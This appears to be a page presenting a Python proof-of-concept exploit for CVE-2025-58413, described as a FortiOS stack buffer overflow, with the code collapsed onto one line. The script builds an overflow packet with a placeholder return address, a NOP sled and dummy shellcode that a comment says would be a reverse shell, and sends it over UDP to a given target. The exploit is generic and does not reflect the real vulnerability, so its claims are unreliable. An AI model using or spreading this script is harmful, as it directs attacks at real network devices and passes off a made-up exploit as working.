CVE-2025-58413 FortiOS 栈缓冲区溢出漏洞导致远程代码执行

#!/usr/bin/env python3 # CVE-2025-58413 PoC - FortiOS Stack Buffer Overflow # Note: This is a conceptual PoC for educational purposes only # Must be used with explicit authorization import socket import struct import sys def create_exploit_packet(): """Generate malicious packet to trigger buffer overflow""" # Protocol header header = b'\x00' * 16 # Overflow payload - exceeds buffer boundary overflow_length = 1024 overflow_payload = b'A' * overflow_length # Overwrite return address (example address) return_addr = struct.pack('<Q', 0x0000000000401234) # NOP sled + Shellcode placeholder nop_sled = b'\x90' * 100 # Placeholder for actual shellcode - would contain reverse shell or command execution shellcode = b'\xcc' * 200 # INT3 for debugging # Construct final payload payload = header + overflow_payload + return_addr + nop_sled + shellcode return payload def send_exploit(target_ip, target_port=444): """Send exploit packet to target""" try: sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) payload = create_exploit_packet() sock.sendto(payload, (target_ip, target_port)) print(f'[+] Exploit packet sent to {target_ip}:{target_port}') print(f'[+] Payload size: {len(payload)} bytes') sock.close() return True except Exception as e: print(f'[-] Error: {e}') return False if __name__ == '__main__': if len(sys.argv) < 2: print('Usage: python3 cve_2025_58413_poc.py <target_ip> [port]') sys.exit(1) target = sys.argv[1] port = int(sys.argv[2]) if len(sys.argv) > 2 else 444 send_exploit(target, port)